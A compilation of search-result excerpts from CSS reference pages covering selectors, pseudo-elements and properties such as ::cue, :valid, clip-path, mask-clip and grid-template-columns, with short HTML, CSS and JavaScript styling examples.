if the element is required, the preceding rules apply only if the user has changed the value or attempted to submit the form.
... the result is that if the control was valid when the user started interacting with it, the validity styling is changed only when the user shifts focus to another control.
...required items are flagged as invalid only if the user changes them or attempts to submit an unchanged invalid value.
::cue-region - CSS: Cascading Style Sheets
the ::cue-region css pseudo-element matches webvtt cues within a selected element.
...the only exception is that background and its shorthand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue-region | ::cue-region( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space specifications specification status comment webvtt: the web video text tracks formatthe defin...
::cue - CSS: Cascading Style Sheets
WebCSS::cue
the ::cue css pseudo-element matches webvtt cues within a selected element.
...the only exception is that background and its longhand properties apply to each cue individually, to avoid creating boxes and obscuring unexpectedly large areas of the media.
... syntax ::cue | ::cue( <selector> ) permitted properties rules whose selectors include this element may only use the following css properties: background background-attachment background-clip background-color background-image background-origin background-position background-repeat background-size color font font-family font-size font-stretch font-style font-variant font-weight line-height opacity outline outline-color outline-style outline-width ruby-position text-combine-upright text-decoration text-decoration-color text-decoration-line text-decoration-style text-decoration-thickness text-shadow visibility white-space examples styling webvtt cues as white-on-black the following css sets the cue style so that the text is white and the background i...
::spelling-error - CSS: Cascading Style Sheets
the ::spelling-error css pseudo-element represents a text segment which the user agent has flagged as incorrectly spelled.
... allowable properties only a small subset of css properties can be used in a rule with ::spelling-error in its selector: color background-color cursor caret-color outline and its longhands text-decoration and its associated properties text-emphasis-color text-shadow syntax ::spelling-error examples simple document spell check in this example, eventual supporting browsers should highlight any flagged spelling errors with the styles shown.
... html <p contenteditable spellcheck="true">my friends are coegdfgfddffbgning to the party tonight.</p> css ::spelling-error { text-decoration: wavy red; } result specifications specification status comment css pseudo-elements level 4the definition of '::spelling-error' in that specification.
:defined - CSS: Cascading Style Sheets
WebCSS:defined
in this demo we define a very simple trivial custom element: customelements.define('simple-custom', class extends htmlelement { constructor() { super(); let divelem = document.createelement('div'); divelem.textcontent = this.getattribute('text'); let shadowroot = this.attachshadow({mode: 'open'}) .appendchild(divelem); } }) then insert a copy of this element into the document, along with a standard <p>: <simple-custom text="custom element example text"></simple-custom> <p>standard paragraph example text</p> in the css we first include the following rules: // give the two elements distinctive backgrounds p { background: yellow; } simple-custom { ba...
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internet:definedchrome full support 54edge full support 79firefox full support 63ie no support noopera full support 41safari full support 10webview android full support 54chrome android full support 54firefox android full support 63opera android ...
:first - CSS: Cascading Style Sheets
WebCSS:first
(see :first-child for general first element of a node.) /* selects the first page when printing */ @page :first { margin-left: 50%; margin-top: 50%; } note: you can't change all css properties with this pseudo-class.
... you can only change the margins, orphans, widows, and page breaks of the document.
... working draft no change.
:focus - CSS: Cascading Style Sheets
WebCSS:focus
the :focus css pseudo-class represents an element (such as a form input) that has received focus.
... working draft no change.
... recommendation no change.
:only-of-type - CSS: Cascading Style Sheets
/* selects each <p>, but only if it is the */ /* only <p> element inside its parent */ p:only-of-type { background-color: lime; } note: as originally defined, the selected element had to have a parent.
... <i>i am the only `i` child.</i> <em>i am `em` #1.</em> <em>i am `em` #2.</em> </div> </main> css main :only-of-type { color: red; } result specifications specification status comment selectors level 4the definition of ':only-of-type' in that specification.
... working draft matching elements are not required to have a parent.
:optional - CSS: Cascading Style Sheets
WebCSS:optional
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful form submission.
... living standard no change.
... working draft no change.
:required - CSS: Cascading Style Sheets
WebCSS:required
this will ensure that people navigating with the aid of assistive technology such as a screen reader will be able to understand which inputs need valid content to ensure a successful submission.
... living standard no change.
... working draft no change.
:valid - CSS: Cascading Style Sheets
WebCSS:valid
syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top...
...we then absolutely position different generated content depending on whether the form's data is valid or invalid — a green check or a red cross, respectively.
... living standard no change.
font-variation-settings - CSS: Cascading Style Sheets
each setting is always a <string> of 4 ascii characters, followed by a <number> indicating the axis value.
... if the <string> has more or fewer characters or contains characters outside the u+20 - u+7e codepoint range, the whole property is invalid.
... formal definition related at-rule@font-faceinitial valuenormalcomputed valueas specified formal syntax normal | [ <string> <number> ]# examples setting font weight and stretch in a @font-face rule @font-face { font-family: 'opentypefont'; src: url('open_type_font.woff2') format('woff2'); font-weight: normal; font-style: normal; font-variation-settings: 'wght' 400, 'wdth' 300; } specifications specification status comment css fonts module level 4the definition of 'font-variation-settings' in that specification.
update - CSS: Cascading Style Sheets
syntax the update feature is specified as a single keyword value chosen from the list below.
... slow the layout may change dynamically according to the usual rules of css, but the output device is not able to render or display changes quickly enough for them to be perceived as a smooth animation.
... fast the layout may change dynamically according to the usual rules of css, and the output device is not unusually constrained in speed, so regularly-updating things like css animations can be used.
CSS Animations - CSS: Cascading Style Sheets
reference css properties animation animation-delay animation-direction animation-duration animation-fill-mode animation-iteration-count animation-name animation-play-state animation-timing-function css at-rules @keyframes guides detecting css animation support describes a technique for detecting if a browser supports css animations.
...this article describes each relevant css property and at-rule and explains how they interact with each other.
...currently offers a technique for replaying an animation which has already run through to completion, which the api doesn't support inherently.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to multi-column layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
...the properties which apply to multi-column layouts are detailed below.
... using a value of justify-content other than normal or stretch will cause column boxes to display at the column-width specified on the multicol container, and the remaining space distributed according to the value of justify-content.
CSS Motion Path - CSS: Cascading Style Sheets
at your disposal, which wasn't ideal and only allowed for simple movements.
...you then animate it along that path by animating offset-distance, and can choose to rotate it at any point using offset-rotate.
... basic example <div id="motion-demo"></div> #motion-demo { offset-path: path('m20,20 c20,100 200,0 200,100'); animation: move 3000ms infinite alternate ease-in-out; width: 40px; height: 40px; background: cyan; } @keyframes move { 0% { offset-distance: 0%; } 100% { offset-distance: 100%; } } reference properties offset offset-anchor offset-distance offset-path offset-position offset-rotate specifications specification status comment motion path module level 1 working draft initial definition.
Stacking context example 2 - CSS: Cascading Style Sheets
there are the same four divs of the previous example, but now z-index properties are assigned on both levels of the hierarchy.
... to better understand the situation, this is the stacking context hierarchy: root stacking context div #2 (z-index 2) div #3 (z-index 1) div #4 (z-index 10) note: it is worth remembering that in general the html hierarchy is different from the stacking context hierarchy.
... in the stacking context hierarchy, elements that do not create a stacking context are collapsed on their parent.
Animatable CSS properties - CSS: Cascading Style Sheets
animation means that their values can be made to change gradually over a given amount of time.
...r-top-right-radius border-top-width border-width bottom box-shadow caret-color clip clip-path color column-count column-gap column-rule column-rule-color column-rule-width column-width columns filter flex flex-basis flex-grow flex-shrink font font-size font-size-adjust font-stretch font-variation-settings font-weight gap grid-column-gap grid-gap grid-row-gap grid-template-columns grid-template-rows height inline-size inset inset-block inset-block-end inset-block-start inset-inline inset-inline-end inset-inline-start left letter-spacing line-clamp line-height margin ...
...in-block-start margin-bottom margin-inline-end margin-inline-start margin-left margin-right margin-top mask mask-border mask-position mask-size max-block-size max-height max-inline-size max-lines max-width min-block-size min-height min-inline-size min-width object-position offset offset-anchor offset-distance offset-path offset-position offset-rotate opacity order outline outline-color outline-offset outline-width padding padding-block-end padding-block-start padding-bottom padding-inline-end padding-inline-start padding-left padding-right padding-top perspective perspective-origi...
Descendant combinator - CSS: Cascading Style Sheets
the descendant combinator — typically represented by a single space ( ) character — combines two selectors such that elements matched by the second selector are selected if they have an ancestor (parent, parent's parent, parent's parent's parent, etc) element matching the first selector.
... /* list items that are descendants of the "my-things" list */ ul.my-things li { margin: 2em; } the descendant combinator is technically one or more css white space characters — the space character and/or one of four control characters: carriage return, form feed, new line, and tab characters — between two selectors in the absence of another combinator.
... additionally, the white space characters of which the combinator is comprised may contain any number of css comments.
List group with badges - CSS: Cascading Style Sheets
requirements our list items should be displayed with the badges lined up on the right, no matter how much content the item has.
... recipe download this example choices made flexbox makes this particular pattern straightforward and also makes it easy to make changes to the layout.
...if instead, you want the badge to align to the top of the content, change this to align-items: flex-start.
Split Navigation - CSS: Cascading Style Sheets
we can use flexbox to achieve this, without needing to make the two sets of items into two separate flex containers.
... recipe download this example choices made this pattern combines auto margins with flexbox to split the items.
...this is how centering a block with auto margins works — you have a margin on each side of the block trying to take up all of the space, thus pushing the block into the middle.
Using Media Queries for Accessibility - CSS: Cascading Style Sheets
reduced motion blinking and flashing animation can be problematic for people with cognitive concerns such as attention deficit hyperactivity disorder (adhd).
... also, this method of switching animation off according to the user's preference can also benefit users with low battery or low-end phones or computers.
... example the following declarations will match applications that are being displayed in high contrast mode with any color variation, a black-on-white color variation, and a white-on-black color variation, respectively.
Microsoft CSS extensions - CSS: Cascading Style Sheets
microsoft applications such as edge and internet explorer support a number of special microsoft extensions to css.
... -ms-accelerator -ms-block-progression -ms-content-zoom-chaining -ms-content-zooming -ms-content-zoom-limit -ms-content-zoom-limit-max -ms-content-zoom-limit-min -ms-content-zoom-snap -ms-content-zoom-snap-points -ms-content-zoom-snap-type -ms-filter -ms-flow-from -ms-flow-into -ms-high-contrast-adjust -ms-hyphenate-limit-chars -ms-hyphenate-limit-lines -ms-hyphenate-limit-zone -ms-ime-align -ms-overflow-style -ms-scrollbar-3dlight-color -ms-scrollbar-arrow-color -ms-scrollbar-base-color -ms-scrollbar-darkshadow-color -ms-scrollbar-face-color -ms-scrollbar-hig...
...hlight-color -ms-scrollbar-shadow-color -ms-scrollbar-track-color -ms-scroll-chaining -ms-scroll-limit -ms-scroll-limit-x-max -ms-scroll-limit-x-min -ms-scroll-limit-y-max -ms-scroll-limit-y-min -ms-scroll-rails -ms-scroll-snap-points-x -ms-scroll-snap-points-y -ms-scroll-snap-x -ms-scroll-snap-y -ms-scroll-translation -ms-text-autospace -ms-touch-select -ms-wrap-flow -ms-wrap-margin -ms-wrap-through zoom pseudo-elements ::-ms-browse ::-ms-check ::-ms-clear ::-ms-expand ::-ms-fill ::-ms-fill-lower ::-ms-fill-upper ::-ms-reveal ::-ms-thumb ::-ms-ticks-after ::-ms-ticks-before ::-ms-tooltip ::-ms-track ::-ms-value media features -ms-high-contrast css-related dom apis mscontentzoomfactor msgetpropertyenabled msgetregioncontent msran...
Replaced elements - CSS: Cascading Style Sheets
some replaced elements, such as <iframe> elements, may have stylesheets of their own, but they don't inherit the styles of the parent document.
... the only other impact css can have on a replaced element is that there are properties which support controlling the positioning of the element's content within its box.
... note that some replaced elements, but not all, have intrinsic dimensions or a defined baseline, which is used by some css properties, such as vertical-align.
Selector list - CSS: Cascading Style Sheets
the css selector list (,) selects all the matching nodes.
... /* selects all matching elements */ span, div { border: red 2px solid; } to reduce the size of style sheets, one can group selectors in comma-separated lists.
... a way to remedy this us to use the :is() selector, which simply ignores invalid selectors in its arguments, but at the cost of all selectors having the same specificity, because of how :is() calculates specificity.
Type selectors - CSS: Cascading Style Sheets
the css type selector matches elements by node name.
... working draft no changes selectors level 3the definition of 'type selectors' in that specification.
... recommendation no changes css level 2 (revision 1)the definition of 'type selectors' in that specification.
Universal selectors - CSS: Cascading Style Sheets
the css universal selector (*) matches elements of any type.
... /* selects all elements */ * { color: green; } beginning with css3, the asterisk may be used in combination with namespaces: ns|* - matches all elements in namespace ns *|* - matches all elements |* - matches all elements without any declared namespace syntax * { style properties } the asterisk is optional with simple selectors.
... working draft no changes selectors level 3the definition of 'universal selector' in that specification.
<alpha-value> - CSS: Cascading Style Sheets
the <alpha-value> css data type represents a value that can be either a <number> or a <percentage>, specifying the alpha channel or transparency of a color.
... examples setting text color opacity here an alpha value is used to set partially transparent text: /* <rgba()> */ color: rgba(34, 12, 64, 0.6); color: rgba(34.0 12 64 / 60%); setting shape image threshold here an alpha value is used to determine which parts of an image are considered part of a shape: /* shape-image-threshold */ shape-image-threshold: 70%; shape-image-threshold: 0.7; specifications specification status comment css color module level 4the definition of '<alpha-value>' in that specification.
... working draft no significant change.
background-blend-mode - CSS: Cascading Style Sheets
the background-blend-mode css property sets how an element's background images should blend with each other and with the element's background color.
...if the blending modes' and background images' list lengths are not equal, it will be repeated and/or truncated until lengths match.
... <option>exclusion</option> <option>hue</option> <option>saturation</option> <option>color</option> <option>luminosity</option> </select> #div { width: 300px; height: 300px; background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png'); background-blend-mode: screen; } document.getelementbyid("select").onchange = function(event) { document.getelementbyid("div").style.backgroundblendmode = document.getelementbyid("select").selectedoptions[0].innerhtml; } console.log(document.getelementbyid('div')); specifications specification status comment compositing and blending level 1the definition of 'background-blend-mode' in that specification.
background-color - CSS: Cascading Style Sheets
in order to meet current web content accessibility guidelines (wcag), a ratio of 4.5:1 is required for text content and 3:1 for larger text such as headings.
... webaim: color contrast checker mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.3 | w3c understanding wcag 2.0 formal definition initial valuetransparentapplies toall elements.
... though technically removing the transparent keyword, this doesn't change anything as it has been incorporated as a true <color> backgrounds level 3 github issues css level 2 (revision 1)the definition of 'background-color' in that specification.
background-image - CSS: Cascading Style Sheets
the background images are drawn on stacking context layers on top of each other.
... syntax each background image is specified either as the keyword none or as an <image> value.
... accessibility concerns browsers do not provide any special information on background images to assistive technology.
border-block-end - CSS: Cascading Style Sheets
the physical border to which it maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-start, border-inline-start, and border-inline-end, which define the other borders of the element.
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typeas each of the properties of the shorthand:border-block-end-color: a colorborder-block-end-style: discreteborder-block-end-width: a...
border-block - CSS: Cascading Style Sheets
the physical borders to which it maps depends on the element's writing mode, directionality, and text orientation.
... the borders in the other dimension can be set with border-inline, which sets border-inline-start, and border-inline-end.
... formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typediscrete formal syntax <'border-top-widt...
border-collapse - CSS: Cascading Style Sheets
syntax /* keyword values */ border-collapse: collapse; border-collapse: separate; /* global values */ border-collapse: inherit; border-collapse: initial; border-collapse: unset; the border-collapse property is specified as a single keyword, which may be chosen from the list below.
...table of browser engines html <table class="separate"> <caption><code>border-collapse: separate</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtml</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> <table class="collapse"> <caption><code>border-collapse: collapse</code></caption> <tbody> <tr><th>browser</th> <th>layout engine</th></tr> <tr><td class="fx">firefox</td> <td class="gk">gecko</td></tr> <tr><td class="ed">edge</td> <td class="tr">edgehtm...
...l</td></tr> <tr><td class="sa">safari</td> <td class="wk">webkit</td></tr> <tr><td class="ch">chrome</td> <td class="bk">blink</td></tr> <tr><td class="op">opera</td> <td class="bk">blink</td></tr> </tbody> </table> css .collapse { border-collapse: collapse; } .separate { border-collapse: separate; } table { display: inline-table; margin: 1em; border: dashed 5px; } table th, table td { border: solid 3px; } .fx { border-color: orange blue; } .gk { border-color: black red; } .ed { border-color: blue gold; } .tr { border-color: aqua; } .sa { border-color: silver blue; } .wk { border-color: gold blue; } .ch { border-color: red yellow green blue; } .bk { border-color: navy blue teal aqua; } .op { border-color: red; } result specifications specificatio...
border-color - CSS: Cascading Style Sheets
each side can be set individually using border-top-color, border-right-color, border-bottom-color, and border-left-color; or using the writing mode-aware border-block-start-color, border-block-end-color, border-inline-start-color, and border-inline-end-color.
... formal definition initial valueas each of the properties of the shorthand:border-top-color: currentcolorborder-right-color: currentcolorborder-bottom-color: currentcolorborder-left-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-bottom-color: computed colorborder-left-color: computed colorborder-right-color: computed colorborder-top-color: computed coloranimation typeas each of the properties of the shorthand:border-bottom-color: a colorborder-left-color: a colorborder-right-color: a colorborder-top-color: a color formal syntax <color>{1,4}where <color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
border-image-width - CSS: Cascading Style Sheets
width: 3; /* vertical | horizontal */ border-image-width: 2em 3em; /* top | horizontal | bottom */ border-image-width: 5% 15% 10%; /* top | right | bottom | left */ border-image-width: 5% 2em 10% auto; /* global values */ border-image-width: inherit; border-image-width: initial; border-image-width: unset; the border-image-width property may be specified using one, two, three, or four values chosen from the list of values below.
... auto the width of the border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding border-image-slice.
...tagesrefer to the width or height of the border image areacomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typeby computed value type formal syntax [ <length-percentage> | <number> | auto ]{1,4}where <length-percentage> = <length> | <percentage> examples tiling a border image this example creates a border image using the following ".png" file, which is 90 by 90 pixels: thus, each circle in the source image is 30 by 30 pixels.
clip-path - CSS: Cascading Style Sheets
WebCSSclip-path
if specified by itself, it causes the edges of the specified box, including any corner shaping (such as a border-radius), to be the clipping path.
...der-box circle(25% at 25% 25%); } .shape8 { clip-path: padding-box circle(25% at 25% 25%); } .shape9 { clip-path: content-box circle(25% at 25% 25%); } .defs { width: 0; height: 0; margin: 0; } pre { margin-bottom: 0; } svg { margin: 1em; font-family: sans-serif; width: 192px; height: 192px; } svg rect { stroke: pink; stroke-width: 16px; } svg text { fill: pink; text-anchor: middle; } svg text.em { font-style: italic; } complete example html <img id="clipped" src="https://udn.realityripple.com/samples/db/4f9fbd7dfb.svg" alt="mdn logo"> <svg height="0" width="0"> <defs> <clippath id="cross"> <rect y="110" x="137" width="90" height="90"/> <rect x="0" y="110" width="90" height="90"/> <rect x="137" y="0" width="90" height="90"/> ...
...le</option> <option value="url(#cross)" selected>cross</option> <option value="inset(20px round 20px)">inset</option> <option value="path('m 0 200 l 0,110 a 110,90 0,0,1 240,100 l 200 340 z')">path</option> </select> css #clipped { margin-bottom: 20px; clip-path: url(#cross); } javascript const clippathselect = document.getelementbyid("clippath"); clippathselect.addeventlistener("change", function (evt) { document.getelementbyid("clipped").style.clippath = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'clip-path' in that specification.
clip - CSS: Cascading Style Sheets
WebCSSclip
/* keyword value */ clip: auto; /* <shape> values */ clip: rect(1px 10em 3rem 2ch); clip: rect(1px, 10em, 3rem, 2ch); /* global values */ clip: inherit; clip: initial; clip: unset; syntax note: where possible, authors are encouraged to use the newer clip-path property instead.
...this is different from rect(auto, auto, auto, auto), which clips to the element’s inside border edges.
... formal definition initial valueautoapplies toabsolutely positioned elementsinheritednocomputed valueauto if specified as auto, otherwise a rectangle with four values, each of which is auto if specified as auto or the computed length otherwiseanimation typea rectangle formal syntax <shape> | autowhere <shape> = rect(<top>, <right>, <bottom>, <left>) examples clipping an image css .dotted-border { border: dotted; position: relative; width: 536px; height: 350px; } #top-left, #middle, #bottom-right { position: absolute; top: 0; } #top-left { left: 360px; clip: rect(0 175px 113px 0); } #middle { left: 280px; clip: rect(119px 255px 229px 80px); } #bottom-right { left: 200px; clip: rect(235px 335px 345px 160px); } html <p class="dotted-border"> <img src="h...
column-fill - CSS: Cascading Style Sheets
in fragmented contexts, such as paged media, only the last fragment is balanced.
...in fragmented contexts, such as paged media, all fragments are balanced.
... formal definition initial valuebalanceapplies tomulticol elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax auto | balance | balance-all examples splitting text evenly across columns html <p class="content-box"> this is a bunch of text split into multiple columns.
counter-increment - CSS: Cascading Style Sheets
you may specify as many counters to increment as you want, with each name or name-number pair separated by a space.
...]+ | none examples incrementing named counters h1 { counter-increment: chapter section 2 page; /* increases the value of the chapter and page counters by 1, and the section counter by 2 */ } specifications specification status comment css lists module level 3the definition of 'counter-increment' in that specification.
... working draft no change.
counter-set - CSS: Cascading Style Sheets
you may specify as many counters to reset as you want, with each name or name-number pair separated by a space.
... <integer> the value to set the counter to on each occurrence of the element.
...]+ | none examples setting named counters h1 { counter-set: chapter section 1 page; /* sets the chapter and page counters to 0, and the section counter to 1 */ } specifications specification status comment css lists module level 3the definition of 'counter-set' in that specification.
<dimension> - CSS: Cascading Style Sheets
WebCSSdimension
the <dimension> css data type represents a <number> with a unit attached to it, for example 10px.
... syntax the syntax of <dimension> is a <number> immediately followed by a unit which is an identifier.
... candidate recommendation adds ch, rem, vw, vw, vmin, vmax, q css level 2 (revision 1)the definition of '<dimension>' in that specification.
<display-inside> - CSS: Cascading Style Sheets
these keywords specify the element’s inner display type, which defines the type of formatting context that lays out its contents (assuming it is a non-replaced element).
... depending on the value of other properties (such as position, float, or overflow) and whether it is itself participating in a block or inline formatting context, it either establishes a new block formatting context (bfc) for its contents or integrates its contents into its parent formatting context.
... note: browsers that support the two value syntax, on finding the inner value only, such as when display: flex or display: grid is specified, will set their outer value to block.
<display-outside> - CSS: Cascading Style Sheets
the <display-outside> keywords specify the element’s outer display type, which is essentially its role in flow layout.
... note: browsers that support the two value syntax, on finding the outer value only, such as when display: block or display: inline is specified, will set the inner value to flow.
... this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout.
flex-grow - CSS: Cascading Style Sheets
WebCSSflex-grow
description this property specifies how much of the remaining space in the flex container should be assigned to the item (the flex grow factor).
... the main size is either width or height of the item which is dependent on the flex-direction value.
...background-color:lightblue;">b</div> <div class="box" style="background-color:yellow;">c</div> <div class="box1" style="background-color:brown;">d</div> <div class="box1" style="background-color:lightgreen;">e</div> <div class="box" style="background-color:brown;">f</div> </div> css #content { display: flex; justify-content: space-around; flex-flow: row wrap; align-items: stretch; } .box { flex-grow: 1; border: 3px solid rgba(0,0,0,.2); } .box1 { flex-grow: 2; border: 3px solid rgba(0,0,0,.2); } result specifications specification status comment css flexible box layout modulethe definition of 'flex-grow' in that specification.
font-language-override - CSS: Cascading Style Sheets
for example, a lot of fonts have a special character for the digraph fi that merge the dot on the "i" with the "f." however, if the language is set to turkish the typeface will likely know not to use the merged glyph; turkish has two versions of the "i," one with a dot (i) and one without (ı), and using the ligature would incorrectly transform a dotted "i" into a dotless "i." the font-language-override property lets you override the typefa...
...for instance, if a typeface doesn't have proper rules for the azeri language, you can force the font to use turkish glyphs, which follow similar rules.
...the string must match a language tag found in the opentype language system.
font-smooth - CSS: Cascading Style Sheets
switching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
...switching from subpixel rendering to antialiasing for light text on dark backgrounds makes it look lighter.
... formal definition initial valueautoapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax auto | never | always | <absolute-size> | <length>where <absolute-size> = xx-small | x-small | small | medium | large | x-large | xx-large | xxx-large examples basic usage example the following example shows the safari/chromium and firefox equivalents that turn on font-smoothing on macos.
font-synthesis - CSS: Cascading Style Sheets
the font-synthesis css property controls which missing typefaces, bold or italic, may be synthesized by the browser.
...fonts used for chinese, japanese, korean and other logographic scripts tend not to include these variants, and synthesizing them may impede the legibility of the text.
... in these cases, it may be desirable to switch off the browser's default font-synthesis.
<gradient> - CSS: Cascading Style Sheets
WebCSSgradient
its concrete size will match the size of the element to which it applies.
... repeating gradient repeating gradients duplicate a gradient as much as necessary to fill a given area.
...this prevents unexpected shades of gray from appearing when both the color and the opacity are changing.
grid-auto-columns - CSS: Cascading Style Sheets
each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... fit-content(argument) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e.
... note: auto track sizes (and only auto track sizes) can be streched by the align-content and justify-content properties.
grid-template-columns - CSS: Cascading Style Sheets
each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
... fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e.
grid-template-rows - CSS: Cascading Style Sheets
each <flex>-sized track takes a share of the remaining space in proportion to its flex factor.
... note: auto track sizes (and only auto track sizes) can be stretched by the align-content and justify-content properties.
... fit-content( [ <length> | <percentage> ] ) represents the formula min(max-content, max(auto, argument)), which is calculated similar to auto (i.e.
height - CSS: Cascading Style Sheets
WebCSSheight
absolute lengthanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting height using pixels and percentages html <div id="taller">i'm 50 pixels tall.</div> <div id="shorter">i'm 25 pixels tall.</div> <div id="parent"> <div id="child"> i'm half the height of my parent.
... </div> </div> css div { width: 250px; margin-bottom: 5px; border: 2px solid blue; } #taller { height: 50px; } #shorter { height: 25px; } #parent { height: 100px; } #child { height: 50%; width: 75%; } result specifications specification status comment css box sizing module level 4the definition of 'height' in that specification.
... recommendation adds support for the <length> values and precises on which element it applies to.
line-break - CSS: Cascading Style Sheets
the line-break css property sets how to break lines of chinese, japanese, or korean (cjk) text when working with punctuation and symbols.
...typically used for short lines, such as in newspapers.
... anywhere there is a soft wrap opportunity around every typographic character unit, including around any punctuation character or preserved white spaces, or in the middle of words, disregarding any prohibition against line breaks, even those introduced by characters with the gl, wj, or zwj character class or mandated by the word-break property.
line-height - CSS: Cascading Style Sheets
this will help people experiencing low vision conditions, as well as people with cognitive concerns such as dyslexia.
...her number or length formal syntax normal | <number> | <length> | <percentage> examples basic example /* all rules below have the same resultant line height */ div { line-height: 1.2; font-size: 10pt; } /* number/unitless */ div { line-height: 1.2em; font-size: 10pt; } /* length */ div { line-height: 120%; font-size: 10pt; } /* percentage */ div { font: 10pt/1.2 georgia,"bitstream charter",serif; } /* font shorthand */ it is often more convenient to set line-height by using the font shorthand as shown above, but this requires the font-family property to be specified as well.
... recommendation no change.
list-style - CSS: Cascading Style Sheets
to address this, add a zero-width space as pseudo-content before each list item to ensure the list is recognized properly.
... ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> |...
... working draft no change.
mask-border-outset - CSS: Cascading Style Sheets
the mask-border-outset css property specifies the distance by which an element's mask border is set out from its border box.
...each value is a <length> or <number>.
... mask-border-outset: 1rem; chromium-based browsers support an outdated version of this property — mask-box-image-outset — with a prefix: -webkit-mask-box-image-outset: 1rem; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-border-width - CSS: Cascading Style Sheets
border-width: 3; /* vertical | horizontal */ mask-border-width: 2em 3em; /* top | horizontal | bottom */ mask-border-width: 5% 15% 10%; /* top | right | bottom | left */ mask-border-width: 5% 2em 10% auto; /* global values */ mask-border-width: inherit; mask-border-width: initial; mask-border-width: unset; the mask-border-width property may be specified using one, two, three, or four values chosen from the list of values below.
... auto the width of the mask border is made equal to the intrinsic width or height (whichever is applicable) of the corresponding mask-border-slice.
... mask-border-width: 30 fill; chromium-based browsers support an outdated version of this property — mask-box-image-width — with a prefix: -webkit-mask-box-image-width: 20px; note: the mask-border page features a working example (using the out-of-date prefixed border mask properties supported in chromium), so you can get an idea of the effect.
mask-clip - CSS: Cascading Style Sheets
WebCSSmask-clip
the mask-clip css property determines the area which is affected by a mask.
...e <shape-box> = <box> | margin-boxwhere <box> = border-box | padding-box | content-box examples clipping a mask to the border box css #masked { width: 100px; height: 100px; background-color: #8cffa0; margin: 20px; border: 20px solid #8ca0ff; padding: 20px; mask-image: url(https://mdn.mozillademos.org/files/12668/mdn.svg); mask-size: 100% 100%; mask-clip: border-box; /* can be changed in the live sample */ } html <div id="masked"> </div> <select id="clipbox"> <option value="content-box">content-box</option> <option value="padding-box">padding-box</option> <option value="border-box" selected>border-box</option> <option value="margin-box">margin-box</option> <option value="fill-box">fill-box</option> <option value="stroke-box">stroke-box</option> <option v...
...alue="view-box">view-box</option> <option value="no-clip">no-clip</option> </select> javascript var clipbox = document.getelementbyid("clipbox"); clipbox.addeventlistener("change", function (evt) { document.getelementbyid("masked").style.maskclip = evt.target.value; }); result specifications specification status comment css masking module level 1the definition of 'mask-clip' in that specification.
mask-origin - CSS: Cascading Style Sheets
for elements rendered as multiple boxes, such as inline boxes on several lines or boxes on several pages, it specifies which boxes box-decoration-break operates upon to determine the mask positioning area.
